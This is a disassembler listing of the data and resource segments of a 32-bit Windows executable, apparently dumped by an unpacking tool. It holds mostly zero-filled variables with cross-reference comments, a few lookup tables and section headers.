dword_4CAF8C	dd 0			; DATA XREF: sub_409B12+644w
					; sub_409B12+784r ...
dword_4CAF90	dd 0			; DATA XREF: sub_409B12+44Cw
					; sub_409B12+4AEr ...
dword_4CAF94	dd 0			; DATA XREF: sub_409B12+199w
					; sub_409B12+1DAr ...
dword_4CAF98	dd 0			; DATA XREF: sub_409B12+365w
					; sub_409B12+3BAr ...
dword_4CAF9C	dd 0			; DATA XREF: sub_409B12+AA2w
dword_4CAFA0	dd 0			; DATA XREF: sub_409B12+5DCw
					; sub_409B12+748r ...
dword_4CAFA4	dd 0			; DATA XREF: sub_4017ED+3Er
					; sub_401ACD+5153r ...
dword_4CAFA8	dd 0			; DATA XREF: sub_409B12+4Bw
					; sub_409B12+C2r ...
dword_4CAFAC	dd 0			; DATA XREF: sub_409B12+473w
					; sub_409B12+4CBr ...
dword_4CAFB0	dd 0			; DATA XREF: sub_409B12+165w
					; sub_409B12+1BAr ...
dword_4CAFB4	dd 0			; DATA XREF: sub_409B12+9FFw
					; sub_409B12+A5Br ...
dword_4CAFB8	dd 0			; DATA XREF: sub_409B12+685w
					; sub_409B12+7ACr ...
dword_4CAFBC	dd 0			; DATA XREF: sub_401955+D1r
					; sub_401ACD+51B6r ...
dword_4CAFC0	dd 0			; DATA XREF: sub_409B12+C1Bw
					; sub_409B12+C47r
dword_4CAFC4	dd 0			; DATA XREF: sub_409B12+3Ew
					; sub_409B12+BAr ...
dword_4CAFC8	dd 0			; DATA XREF: sub_401000+45r
					; sub_409B12+298w ...
dword_4CAFCC	dd 0			; DATA XREF: sub_409B12+651w
					; sub_409B12+78Cr ...
dword_4CAFD0	dd 0			; DATA XREF: sub_409B12+637w
					; sub_409B12+77Cr ...
dword_4CAFD4	dd 0			; DATA XREF: sub_401ACD+73B9r
					; sub_409B12+C92w
dword_4CAFD8	dd 0			; DATA XREF: sub_409B12+879w
					; ___:004168D5r ...
dword_4CAFDC	dd 0			; DATA XREF: sub_409B12+112w
dword_4CAFE0	dd 0			; DATA XREF: sub_409B12+BE7w
					; sub_409B12+C22r
dword_4CAFE4	dd 0			; DATA XREF: sub_401ACD+2FE4r
					; sub_401ACD+5F98r ...
dword_4CAFE8	dd 0			; DATA XREF: sub_409B12+459w
					; sub_409B12+4BBr ...
dword_4CAFEC	dd 0			; DATA XREF: sub_409B12+49Aw
					; sub_409B12+4E3r ...
dword_4CAFF0	dd 0			; DATA XREF: sub_409B12+466w
					; sub_409B12+4C3r ...
dword_4CAFF4	dd 0			; DATA XREF: sub_401955+89r
					; sub_401ACD+51D3r ...
dword_4CAFF8	dd 0			; DATA XREF: sub_409B12+1A6w
					; sub_409B12+1E2r ...
dword_4CAFFC	dd 0			; DATA XREF: sub_409B12+9F2w
					; sub_409B12+A53r ...
dword_4CB000	dd 0			; DATA XREF: sub_409B12+158w
					; sub_409B12+1ADr ...
dword_4CB004	dd 0			; DATA XREF: sub_409B12+8Cw
					; sub_409B12+E2r ...
dword_4CB008	dd 0			; DATA XREF: sub_409B12+610w
					; sub_409B12+764r ...
dword_4CB00C	dd 0			; DATA XREF: sub_409B12+B43w
					; sub_409B12+B5Fr
dword_4CB010	dd 0			; DATA XREF: sub_409B12+33Aw
					; sub_419651+55r
dword_4CB014	dd 0			; DATA XREF: sub_409B12+27Ew
					; sub_409B12+2D3r ...
dword_4CB018	dd 0			; DATA XREF: sub_409B12+BAAw
dword_4CB01C	dd 0			; DATA XREF: sub_409B12+AECw
					; sub_40AB31+CEr
dword_4CB020	dd 0			; DATA XREF: sub_409B12+ADFw
					; sub_409B12+AE6r ...
dword_4CB024	dd 0			; DATA XREF: sub_4017ED+A6r
					; sub_401ACD+5132r ...
dword_4CB028	dd 0			; DATA XREF: sub_401ACD+5124r
					; sub_401ACD+7980r ...
dword_4CB02C	dd 0			; DATA XREF: sub_409B12+BF4w
					; sub_409B12+C2Fr
dword_4CB030	dd 0			; DATA XREF: sub_401ACD+1E56r
					; sub_401ACD+5AEDr ...
dword_4CB034	dd 0			; DATA XREF: sub_409B12+9B1w
					; sub_409B12+A2Br ...
dword_4CB038	dd 0			; DATA XREF: sub_409B12+65Ew
					; sub_409B12+794r ...
dword_4CB03C	dd 0			; DATA XREF: sub_40111D+12r
					; sub_4017ED+D0r ...
dword_4CB040	dd 0			; DATA XREF: sub_409B12+59Bw
					; sub_409B12+70Cr ...
dword_4CB044	dd 0			; DATA XREF: sub_409B12+B36w
					; sub_409B12+B57r
dword_4CB048	dd 0			; DATA XREF: sub_409B12+540w
					; sub_409B12+6C4r ...
dword_4CB04C	dd 0			; DATA XREF: sub_409B12+B29w
					; sub_409B12+B4Ar
dword_4CB050	dd 0			; DATA XREF: ___:00401273r
					; sub_409B12+31w ...
dword_4CB054	dd 0			; DATA XREF: sub_409B12+17Fw
					; sub_409B12+1CAr ...
		dd 0
dword_4CB05C	dd 0			; DATA XREF: sub_409B12+927w
					; sub_409B12+93Br
dword_4CB060	dd 0			; DATA XREF: sub_409B12+99w
					; sub_409B12+EAr ...
dword_4CB064	dd 0			; DATA XREF: sub_409B12:loc_409C10w
					; sub_409B12+12Bw ...
dword_4CB068	dd 0			; DATA XREF: sub_409B12+126w
					; sub_40A7CE+1Cr
dword_4CB06C	dd 0			; DATA XREF: sub_409B12:loc_409D00w
					; sub_409B12:loc_409D67w ...
dword_4CB070	dd 0			; DATA XREF: sub_409B12+250w
					; sub_40A7CE+50r
dword_4CB074	dd 0			; DATA XREF: ___:0040156Ar
					; sub_401ACD+4567r ...
dword_4CB078	dd 0			; DATA XREF: sub_409B12+41Ew
					; sub_40A7CE+84r
dword_4CB07C	dd 0			; DATA XREF: sub_409B12:loc_40A016w
					; sub_40A7CE:loc_40A87Er
dword_4CB080	dd 0			; DATA XREF: sub_409B12+4FFw
					; sub_40A7CE+B8r
dword_4CB084	dd 0			; DATA XREF: sub_409B12:loc_40A2E7w
					; sub_40A7CE:loc_40A8B2r
dword_4CB088	dd 0			; DATA XREF: sub_409B12+7D0w
					; sub_40A7CE+ECr
dword_4CB08C	dd 0			; DATA XREF: sub_409B12:loc_40A3D2w
					; sub_409B12+8EFw ...
dword_4CB090	dd 0			; DATA XREF: sub_409B12+8EAw
					; sub_40A7CE+120r
dword_4CB094	dd 0			; DATA XREF: sub_401ACD:loc_406F17r
					; sub_409B12:loc_40A466w ...
dword_4CB098	dd 0			; DATA XREF: sub_409B12+94Fw
					; sub_40A7CE+154r
dword_4CB09C	dd 0			; DATA XREF: sub_401ACD+456Fr
					; sub_409B12:loc_40A582w ...
dword_4CB0A0	dd 0			; DATA XREF: sub_409B12+A6Bw
					; sub_40A7CE+188r
dword_4CB0A4	dd 0			; DATA XREF: sub_409B12:loc_40A5CCw
					; sub_40A7CE:loc_40A982r
dword_4CB0A8	dd 0			; DATA XREF: sub_409B12+AB5w
					; sub_40A7CE+1BCr
dword_4CB0AC	dd 0			; DATA XREF: sub_409B12:loc_40A616w
					; sub_40A7CE:loc_40A9B6r
dword_4CB0B0	dd 0			; DATA XREF: sub_409B12+AFFw
					; sub_40A7CE+1F0r
dword_4CB0B4	dd 0			; DATA XREF: sub_409B12:loc_40A68Aw
					; sub_40A7CE:loc_40A9EAr
dword_4CB0B8	dd 0			; DATA XREF: sub_409B12+B73w
					; sub_40A7CE+224r
dword_4CB0BC	dd 0			; DATA XREF: sub_409B12:loc_40A6D4w
					; sub_40A7CE:loc_40AA1Er
dword_4CB0C0	dd 0			; DATA XREF: sub_409B12+BBDw
					; sub_40A7CE+258r
dword_4CB0C4	dd 0			; DATA XREF: sub_409B12:loc_40A772w
					; sub_40A7CE:loc_40AA52r
dword_4CB0C8	dd 0			; DATA XREF: sub_409B12+C5Bw
					; sub_40A7CE+28Cr
dword_4CB0CC	dd 0			; DATA XREF: sub_409B12:loc_40A7BCw
					; sub_40A7CE:loc_40AA86r
dword_4CB0D0	dd 0			; DATA XREF: sub_409B12+CA5w
					; sub_40A7CE+2C0r
dword_4CB0D4	dd 7 dup(0)		; DATA XREF: sub_40AC0F+32o
dword_4CB0F0	dd 0			; DATA XREF: sub_40BA56+18r
					; sub_40BFEB+92w ...
dword_4CB0F4	dd 0			; DATA XREF: sub_40C124+4Dr
					; sub_40C124+2F1w ...
		dd 7FEh	dup(0)
dword_4CD0F0	dd 6 dup(0)		; DATA XREF: sub_40C124+D2o
					; sub_40C124+13Bo ...
dword_4CD108	dd 0			; DATA XREF: sub_40BACD+2C4w
					; sub_40BACD+348o
dword_4CD10C	dd 0			; DATA XREF: sub_40BACD+33Ew
					; sub_40BACD+35Ar
dword_4CD110	dd 0			; DATA XREF: sub_40BACD+2CFw
dword_4CD114	dd 0			; DATA XREF: sub_40BACD+2B9w
					; sub_40BACD:loc_40BDE2r
dword_4CD118	dd 20h dup(0)		; DATA XREF: sub_40BACD+2E2o
					; sub_40BACD+302o
dword_4CD198	dd 0			; DATA XREF: sub_40BACD+2D5w
dword_4CD19C	dd 0			; DATA XREF: sub_40BACD+2EFw
					; sub_40BACD+30Fw
dword_4CD1A0	dd 0			; DATA XREF: sub_40BACD:loc_40BE3Dr
		align 8
dword_4CD1A8	dd 0			; DATA XREF: sub_40BACD+82w
					; sub_40BACD+101o
dword_4CD1AC	dd 41h dup(0)		; DATA XREF: sub_40BACD+41o
dword_4CD2B0	dd 41h dup(0)		; DATA XREF: sub_40BACD+69o
dword_4CD3B4	dd 0			; DATA XREF: sub_40BACD+F7w
					; sub_40BACD+113r
dword_4CD3B8	dd 0			; DATA XREF: sub_40BACD+52w
dword_4CD3BC	dd 0			; DATA XREF: sub_40BACD+4Dw
					; sub_40BACD+D4r
dword_4CD3C0	dd 20h dup(0)		; DATA XREF: sub_40BACD+9Ao
					; sub_40BACD+BAo
dword_4CD440	dd 0			; DATA XREF: sub_40BACD+8Fw
dword_4CD444	dd 0			; DATA XREF: sub_40BACD+A7w
					; sub_40BACD+C7w
dword_4CD448	dd 0			; DATA XREF: sub_40BACD:loc_40BBF6r
		align 10h
dword_4CD450	dd 0			; DATA XREF: sub_40BACD+1A5w
					; sub_40BACD+225o
dword_4CD454	dd 41h dup(0)		; DATA XREF: sub_40BACD+167o
dword_4CD558	dd 41h dup(0)		; DATA XREF: sub_40BACD+18Co
dword_4CD65C	dd 0			; DATA XREF: sub_40BACD+21Bw
					; sub_40BACD+237r
dword_4CD660	dd 0			; DATA XREF: sub_40BACD+17Aw
dword_4CD664	dd 0			; DATA XREF: sub_40BACD+175w
					; sub_40BACD+1F8r
dword_4CD668	dd 20h dup(0)		; DATA XREF: sub_40BACD+1BEo
					; sub_40BACD+1DEo
dword_4CD6E8	dd 0			; DATA XREF: sub_40BACD+1B1w
dword_4CD6EC	dd 0			; DATA XREF: sub_40BACD+1CBw
					; sub_40BACD+1EBw
dword_4CD6F0	dd 0			; DATA XREF: sub_40BACD:loc_40BD1Ar
		align 8
dword_4CD6F8	dd 0			; DATA XREF: sub_40BACD+417w
					; sub_40BACD+470o
dword_4CD6FC	dd 0A2h	dup(0)		; DATA XREF: sub_40BACD+405o
dword_4CD984	dd 41h dup(0)		; DATA XREF: sub_40BACD+3CFo
dword_4CDA88	dd 0			; DATA XREF: sub_40BACD+3FCw
					; sub_40BACD+423r
		align 10h
dword_4CDA90	dd 0			; DATA XREF: sub_40BACD+466w
					; sub_40BACD+482r
dword_4CDA94	dd 0			; DATA XREF: sub_40BACD+429w
dword_4CDA98	dd 0			; DATA XREF: sub_40BACD+436w
dword_4CDA9C	dd 0			; DATA XREF: sub_40BACD+3F6w
		dd 0
dword_4CDAA4	dd 0			; DATA XREF: sub_40BACD:loc_40BF65r
		dd 0
dword_4CDAAC	dd 0			; DATA XREF: sub_40B719+Er
					; sub_40B719+32r
dword_4CDAB0	dd 0			; DATA XREF: sub_40B719+9r
					; sub_40B719+26r
dword_4CDAB4	dd 82h dup(0)		; DATA XREF: sub_40C59B+8Do
dword_4CDCBC	dd 2 dup(0)		; DATA XREF: sub_40CF04+68o
dword_4CDCC4	dd 0			; DATA XREF: sub_40D89F+8w
					; ___:0040DC6Eo
		dd 0
dword_4CDCCC	dd 2 dup(0)		; DATA XREF: ___:0040DBA4o
dword_4CDCD4	dd 0			; DATA XREF: ___:0040E4D7r
		dd 0
		dd 0
dword_4CDCE0	dd 0			; DATA XREF: ___:0040E4AAr
dword_4CDCE4	dd 0			; DATA XREF: ___:0040E48Cr
					; ___:0040E4F5r
		dd 0
dword_4CDCEC	dd 0			; DATA XREF: sub_40BACD+2AEr
					; ___:0040E6E8w
		dd 0
dword_4CDCF4	dd 0			; DATA XREF: sub_40B785+1Cr
dword_4CDCF8	dd 0			; DATA XREF: ___:0040EFE8w
					; ___:0040F00Fr ...
		dd 3 dup(0)
dword_4CDD08	dd 0			; DATA XREF: ___:00410905r
		align 10h
dword_4CDD10	dd 0			; DATA XREF: sub_412351+4w
					; sub_412351+9o
		dd 109h	dup(0)
dword_4CE138	dd 188h	dup(0)		; DATA XREF: sub_401ACD+2F6Eo
					; sub_401ACD:loc_404AC4o
dword_4CE758	dd 0			; DATA XREF: sub_401ACD+1A23w
					; sub_401ACD+2F66r ...
		dd 11Ch	dup(0)
dword_4CEBCC	dd 1000h dup(0)		; DATA XREF: sub_4151AC+1Do
					; sub_41524Co ...
dword_4D2BCC	dd 0			; DATA XREF: sub_4151AC+13o
					; sub_41524C+Eo ...
dword_4D2BD0	dd 0			; DATA XREF: sub_4155F7+Fr
					; sub_4157F0+12r
		align 8
dword_4D2BD8	dd 0Eh dup(0)		; DATA XREF: sub_416922+Fo
dword_4D2C10	dd 80h dup(0)		; DATA XREF: sub_4175E9+41o
dword_4D2E10	dd 200h	dup(0)		; DATA XREF: sub_416F1A+C7o
					; sub_417275+DDo ...
dword_4D3610	dd 200h	dup(0)		; DATA XREF: sub_416F1A+D6o
					; sub_417275+F4o ...
dword_4D3E10	dd 0			; DATA XREF: sub_416F1A+86w
					; sub_4170EC+94r
dword_4D3E14	dd 0			; DATA XREF: sub_416F1A+A7w
					; sub_417552+55r ...
dword_4D3E18	dd 0			; DATA XREF: sub_416F1A+A0w
					; sub_4170EC+D6r ...
dword_4D3E1C	dd 0			; DATA XREF: sub_416F1A+79w
					; sub_4170EC+35r ...
dword_4D3E20	dd 80h dup(0)		; DATA XREF: sub_417552+5Eo
dword_4D4020	dd 0			; DATA XREF: sub_416F1A+93w
					; sub_4170EC+A2r
		align 8
dword_4D4028	dd 0			; DATA XREF: sub_416F1A+E7o
					; sub_416F1A+103r ...
dword_4D402C	dd 0			; DATA XREF: sub_417275+17Bw
					; sub_41741C+107w
dword_4D4030	dd 0			; DATA XREF: sub_417275+180w
					; sub_41741C+10Dw ...
dword_4D4034	dd 0			; DATA XREF: sub_417275+159w
					; sub_417552+4Fr
dword_4D4038	dd 0			; DATA XREF: sub_4178BA+22w
					; sub_4178BA:loc_417A3Fw ...
dword_4D403C	dd 0			; DATA XREF: sub_401ACD+3CC3o
					; sub_417788+12o ...
		dd 0
dword_4D4044	dd 0			; DATA XREF: sub_4178BA+1Cr
					; sub_417A5F+3Ar
		dd 42h dup(0)
		db 2 dup(0)
word_4D4152	dw 0			; DATA XREF: ___:off_437868o
		dd 3Ch dup(0)
dword_4D4244	dd 0			; DATA XREF: sub_4178BA+28r
					; sub_417A5F+4Aw
		dd 1944h dup(0)
dword_4DA758	dd 0			; DATA XREF: sub_417A5F+23o
dword_4DA75C	dd 81h dup(0)		; DATA XREF: sub_401ACD+3CE1o
					; sub_417788+3Co ...
dword_4DA960	dd 17h dup(0)		; DATA XREF: sub_4187DD:loc_4188FAo
					; sub_4187DD+131o ...
dword_4DA9BC	dd 80h dup(0)		; DATA XREF: sub_419593+7Co
					; sub_419593+A5o
dword_4DABBC	dd 0			; DATA XREF: sub_418B58+45w
					; sub_418B58+4Dr ...
dword_4DABC0	dd 17h dup(0)		; DATA XREF: sub_41945F:loc_419581o
					; sub_41945F+12Do
dword_4DAC1C	dd 80h dup(0)		; DATA XREF: sub_418A98+4Co
					; sub_418A98+7Eo ...
byte_4DAE1C	db 0			; DATA XREF: sub_418B58+29r
					; sub_418B58+34w
		align 10h
dword_4DAE20	dd 80h dup(0)		; DATA XREF: sub_418DAF+61o
					; sub_418DAF+89o ...
dword_4DB020	dd 81h dup(0)		; DATA XREF: sub_4186C1:loc_4186F9o
					; sub_4186C1+5Bo
dword_4DB224	dd 0			; DATA XREF: sub_419A20:loc_419A41r
					; sub_419B0F+54r ...
dword_4DB228	dd 0			; DATA XREF: sub_419A20r
					; sub_419B0F+37r ...
dword_4DB22C	dd 0			; DATA XREF: sub_419A50+1Ar
					; sub_419C64+83o
dword_4DB230	dd 0			; DATA XREF: sub_419A20:loc_419A34r
					; sub_419C64+11Bw
dword_4DB234	dd 0Dh dup(0)		; DATA XREF: sub_419B0F+13o
					; sub_419C64:loc_419DA1o
dword_4DB268	dd 0			; DATA XREF: sub_419B0F+CDr
					; sub_419B0F+ECr ...
		align 10h
dword_4DB270	dd 0Eh dup(0)		; DATA XREF: sub_41A88B+47o
dword_4DB2A8	dd 0			; DATA XREF: sub_41BBBD+1B9w
					; ___:loc_41D268w ...
dword_4DB2AC	dd 0			; DATA XREF: sub_41D3BE+35w
					; sub_41DA72:loc_41DB0Cw ...
dword_4DB2B0	dd 0			; DATA XREF: sub_423A33+13Ar
		dd 0A28h, 501h,	5, 1
dword_4DB2C4	dd 1			; DATA XREF: ___:loc_401516r
					; ___:00423014w
dword_4DB2C8	dd 2440B30h		; DATA XREF: ___:0040151Fr
					; ___:0040153Fr ...
		align 10h
dword_4DB2D0	dd 2440B58h		; DATA XREF: ___:00422F0Ew
					; sub_425AC7+9r ...
dword_4DB2D4	dd 0			; DATA XREF: sub_4261AB+36r
dword_4DB2D8	dd 0			; DATA XREF: sub_425AC7+16r
					; sub_425E95+4r ...
		align 10h
off_4DB2E0	dd offset aCM_unpackerPac ; DATA XREF: ___:00422FB1w
					; "C:\\m_unpacker\\packed.exe"
		align 8
byte_4DB2E8	db 0			; DATA XREF: sub_41B7D3+2Dw
					; sub_4239DB+5r
		align 4
dword_4DB2EC	dd 0			; DATA XREF: sub_41B7D3+27w
dword_4DB2F0	dd 0			; DATA XREF: sub_41B7D3+4r
					; sub_41B7D3+8Bw
dword_4DB2F4	dd 0			; DATA XREF: sub_41C0F4+3Br
					; sub_41C0F4+91w
		dd 0
dword_4DB2FC	dd 0			; DATA XREF: sub_41C748+Aw
dword_4DB300	dd 0			; DATA XREF: sub_41D081+5Er
					; sub_41D081+A4w
		align 8
word_4DB308	dw 0			; DATA XREF: sub_41D081+55r
					; sub_41D081+9Ao
word_4DB30A	dw 0			; DATA XREF: sub_41D081+48r
		db 2 dup(0)
word_4DB30E	dw 0			; DATA XREF: sub_41D081+3Br
word_4DB310	dw 0			; DATA XREF: sub_41D081+2Er
word_4DB312	dw 0			; DATA XREF: sub_41D081+21r
		align 8
dword_4DB318	dd 0			; DATA XREF: ___:loc_422EDCr
					; ___:loc_422F1Er ...
		align 10h
dword_4DB320	dd 0			; DATA XREF: sub_41DA29r ___:0041DA50o ...
dword_4DB324	dd 0			; DATA XREF: sub_41EB10+4Bw
					; sub_41EC29+2Dw ...
dword_4DB328	dd 0			; DATA XREF: sub_41F312r
dword_4DB32C	dd 0			; DATA XREF: sub_41B202:loc_41B31Er
					; sub_41B202:loc_41B43Fr ...
dword_4DB330	dd 1			; DATA XREF: sub_41FEA9:loc_420024r
					; sub_420042+4w ...
dword_4DB334	dd 0			; DATA XREF: sub_420446+37r
		dd 0
dword_4DB33C	dd 0			; DATA XREF: sub_4219D9+11r
					; sub_421ADD+1Ar ...
byte_4DB340	db 0			; DATA XREF: sub_4219D9+3r
					; sub_4219D9+98r ...
		align 4
dword_4DB344	dd 0			; DATA XREF: sub_421ADD+11r
					; sub_421BBB+21w ...
byte_4DB348	db 0			; DATA XREF: sub_421BBB+51w
		align 4
dword_4DB34C	dd 0			; DATA XREF: sub_421DB1+4Er
					; sub_42218C+3Ar ...
dword_4DB350	dd 0			; DATA XREF: sub_421DB1+5Cr
					; sub_42218C+43r ...
dword_4DB354	dd 0			; DATA XREF: sub_41C9CE+7Ar
					; sub_421F58+5r
dword_4DB358	dd 0			; DATA XREF: sub_42255C+29r
dword_4DB35C	dd 2 dup(0)		; DATA XREF: sub_41D160+Co
dword_4DB364	dd 0			; DATA XREF: sub_41D5AA+4r
					; sub_41D5AA+6Er ...
		dd 3 dup(0)
dword_4DB374	dd 0			; DATA XREF: sub_41D834+61r
					; sub_41D834+BFr ...
		dd 0
dword_4DB37C	dd 1			; DATA XREF: sub_422ACA+28r
					; sub_422ACA+4Cw ...
dword_4DB380	dd 0			; DATA XREF: ___:00422D28r
					; ___:00422D34w ...
aCM_unpackerPac	db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: ___:loc_422F9Ao
					; ___:off_4DB2E0o
		align 10h
		dd 3Ah dup(0)
dword_4DB488	dd 1			; DATA XREF: ___:004231D2r
					; ___:004231F3w ...
dword_4DB48C	dd 0			; DATA XREF: sub_423590+21r
dword_4DB490	dd 0			; DATA XREF: sub_41F32D+154w
					; sub_420446:loc_42046Fw ...
dword_4DB494	dd 0			; DATA XREF: sub_41F32D+7r
dword_4DB498	dd 1			; DATA XREF: sub_423CEC+26r
					; sub_423CEC:loc_423D56w
		align 10h
word_4DB4A0	dw 0			; DATA XREF: sub_4245E9+1Ao
					; sub_4245E9+46r
byte_4DB4A2	db 0			; DATA XREF: sub_4245E9+39r
		align 4
dword_4DB4A4	dd 7 dup(0)		; DATA XREF: sub_4245E9+52o
dword_4DB4C0	dd 0			; DATA XREF: sub_4245E9+40w
					; sub_4245E9+5Co
dword_4DB4C4	dd 0			; DATA XREF: sub_4245E9+4Dw
dword_4DB4C8	dd 0			; DATA XREF: sub_4245E9+31w
dword_4DB4CC	dd 0			; DATA XREF: sub_4245E9+52w
dword_4DB4D0	dd 77C26E79h		; DATA XREF: sub_42470C:loc_42472Fr
					; sub_42470C+38r ...
		align 8
dword_4DB4D8	dd 0			; DATA XREF: sub_4247EC+11w
					; sub_4247EC+63w ...
		align 10h
dword_4DB4E0	dd 0			; DATA XREF: sub_4247EC+33o
					; sub_4247EC+46r
dword_4DB4E4	dd 10h dup(0)		; DATA XREF: sub_4247EC+C1o
word_4DB524	dw 0			; DATA XREF: sub_424A4A+A8r
word_4DB526	dw 0			; DATA XREF: sub_4247EC+54r
					; sub_424A4A+DBr ...
word_4DB528	dw 0			; DATA XREF: sub_424A4A+CAr
word_4DB52A	dw 0			; DATA XREF: sub_424A4A+D3r
					; sub_424A4A:loc_424B3Cr
word_4DB52C	dw 0			; DATA XREF: sub_424A4A+C0r
word_4DB52E	dw 0			; DATA XREF: sub_424A4A+B8r
word_4DB530	dw 0			; DATA XREF: sub_424A4A+B0r
word_4DB532	dw 0			; DATA XREF: sub_424A4A+9Er
dword_4DB534	dd 0			; DATA XREF: sub_4247EC+4Br
dword_4DB538	dd 10h dup(0)		; DATA XREF: sub_4247EC+FBo
word_4DB578	dw 0			; DATA XREF: sub_424A4A+46r
word_4DB57A	dw 0			; DATA XREF: sub_4247EC:loc_424863r
					; sub_424A4A+78r ...
word_4DB57C	dw 0			; DATA XREF: sub_424A4A+67r
word_4DB57E	dw 0			; DATA XREF: sub_424A4A+70r
					; sub_424A4A:loc_424ACEr
word_4DB580	dw 0			; DATA XREF: sub_424A4A+5Dr
word_4DB582	dw 0			; DATA XREF: sub_424A4A+55r
word_4DB584	dw 0			; DATA XREF: sub_424A4A+4Dr
word_4DB586	dw 0			; DATA XREF: sub_424A4A+3Er
dword_4DB588	dd 0			; DATA XREF: sub_4247EC+80r
dword_4DB58C	dd 0			; DATA XREF: sub_4247EC+132r
					; sub_4247EC:loc_424938r ...
dword_4DB590	dd 0			; DATA XREF: sub_4247D7r sub_4247D7+Ew
dword_4DB594	dd 0			; DATA XREF: sub_424D78+3r
					; sub_424D78+2Ew ...
dword_4DB598	dd 0			; DATA XREF: sub_424D78+43w
					; sub_424D78:loc_424DC7r
dword_4DB59C	dd 0			; DATA XREF: sub_424D78+4Aw
					; sub_424D78+60r
dword_4DB5A0	dd 0			; DATA XREF: sub_423A33+3Fr
dword_4DB5A4	dd 0			; DATA XREF: sub_425955:loc_4259BCr
					; sub_425955+6Do
dword_4DB5A8	dd 0			; DATA XREF: sub_425955:loc_425993r
					; sub_425955+44o
dword_4DB5AC	dd 0			; DATA XREF: sub_425955:loc_425986r
					; sub_425955+37o
dword_4DB5B0	dd 0			; DATA XREF: sub_425955:loc_4259A0r
					; sub_425955+51o
		align 8
dword_4DB5B8	dd 0			; DATA XREF: sub_425F03+28r
					; sub_425F03+48w ...
dword_4DB5BC	dd 0			; DATA XREF: sub_426988+28r
					; sub_426988+4Cw ...
dword_4DB5C0	dd 0			; DATA XREF: sub_426C13+26r
					; sub_426C13:loc_426C7Dw
byte_4DB5C4	db 0			; DATA XREF: sub_40D878r sub_40D878+9w
		align 4
dword_4DB5C8	dd 2441140h		; DATA XREF: sub_41DBF0:loc_41DC01r
					; sub_41F49D+14r ...
		dd 5 dup(0)
dword_4DB5E0	dd 400h	dup(0)		; DATA XREF: ___:off_43CA18o
					; ___:0043CA20o
dword_4DC5E0	dd 200h			; DATA XREF: sub_41DBF0+9r
					; sub_41DBF0+56r ...
		dd 7 dup(0)
dword_4DC600	dd 2440650h		; DATA XREF: sub_41F043+75r
					; sub_41F11C+2Ar ...
dword_4DC604	dd 3Fh dup(0)		; DATA XREF: ___:00423394o
dword_4DC700	dd 20h			; DATA XREF: sub_41DA72+8r
					; sub_41F11C+Cr ...
dword_4DC704	dd 4E4h			; DATA XREF: sub_41FEA9+14r
					; sub_41FEA9+65w ...
		align 10h
dword_4DC710	dd 3 dup(0)		; DATA XREF: sub_41FEA9+123o
					; sub_41FEA9+171o ...
dword_4DC71C	dd 0			; DATA XREF: sub_41FEA9+108w
					; sub_41FEA9+15Dw ...
byte_4DC720	db 0			; DATA XREF: sub_4200E8:loc_4201F4w
					; sub_4200E8:loc_420211w ...
		align 4
		dd 0Fh dup(0)
		dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
		dd 77767574h, 7A7978h, 0
		dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
		dd 57565554h, 5A5958h, 0
		dd 83000000h, 0
		dd 9A0000h, 9E009Ch, 2 dup(0)
		dd 8A0000h, 0FF8E008Ch,	2 dup(0)
		dd 0AA0000h, 2 dup(0)
		dd 0B500h, 0BA0000h, 0
		dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
		dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
		dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
		dd 9FDEDDDCh
byte_4DC820	db 0			; DATA XREF: sub_41FEA9+5Co
					; sub_41FEA9+AFo ...
byte_4DC821	db 0			; DATA XREF: sub_41B9D1+5Dr
					; sub_41FEA9+A0w ...
		align 4
		dd 0Fh dup(0)
		dd 10100000h, 6	dup(10101010h),	0
		dd 20200000h, 6	dup(20202020h),	2 dup(0)
		dd 20h,	10000000h, 10001000h, 2	dup(0)
		dd 20000000h, 20002000h, 10h, 0
		dd 20000000h, 2	dup(0)
		dd 200000h, 20000000h, 0
		dd 10101000h, 5	dup(10101010h),	10101000h, 10101010h, 6	dup(20202020h)
		dd 20202000h, 20202020h, 20h
dword_4DC924	dd 0			; DATA XREF: sub_41FEA9+6Ew
					; sub_41FEA9+12Bw ...
dword_4DC928	dd 0			; DATA XREF: sub_41E4D4+5r
					; sub_41E4D4+32w
dword_4DC92C	dd 0			; DATA XREF: sub_41DEA2+23Ar
					; sub_41DEA2+25Ar ...
dword_4DC930	dd 0			; DATA XREF: sub_41DEA2+311w
					; sub_41E1CB:loc_41E21Br ...
dword_4DC934	dd 0			; DATA XREF: sub_41DEA2+22Dr
					; sub_41DEA2+260r ...
dword_4DC938	dd 0			; DATA XREF: sub_41DE77r
					; sub_41DEA2+2CBr ...
dword_4DC93C	dd 0			; DATA XREF: sub_41DE77+8r
					; sub_41DEA2+2D0r ...
dword_4DC940	dd 0			; DATA XREF: sub_41B202+5Cr
					; sub_41B513+Fr ...
dword_4DC944	dd 2440000h		; DATA XREF: sub_41B0B1+5Ar
					; sub_41B202+C0r ...
dword_4DC948	dd 1			; DATA XREF: sub_41B0B1+Cr
					; sub_41B202:loc_41B232r ...
dword_4DC94C	dd 142340h		; DATA XREF: ___:00422E81r
					; ___:00422FACr
dword_4DC950	dd 1			; DATA XREF: ___:00422F77w sub_425AC7r
dword_4DC954	dd 1			; DATA XREF: sub_42026Dr
					; sub_42026D+11w ...
dword_4DC958	dd 2440758h		; DATA XREF: sub_41B7D3+3Er
					; sub_41CFD3+13r ...
dword_4DC95C	dd 2440758h		; DATA XREF: sub_41B7D3+35r
					; sub_41B7D3+57r ...
		dd 1A8h	dup(0)
		dd 127h, 19Ch, 1DCh, 221h, 233h, 290h, 3FAh dup(0)
___		ends

; Section 2. (virtual address 000DE000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DE000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_rsrc___	segment	para public 'DATA' use32
		assume cs:_rsrc___
		;org 4DE000h
		dd 400h	dup(0)
_rsrc___	ends

; Section 3. (virtual address 000DF000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 000DF000
; Flags	C0000040: Data Readable	Writable
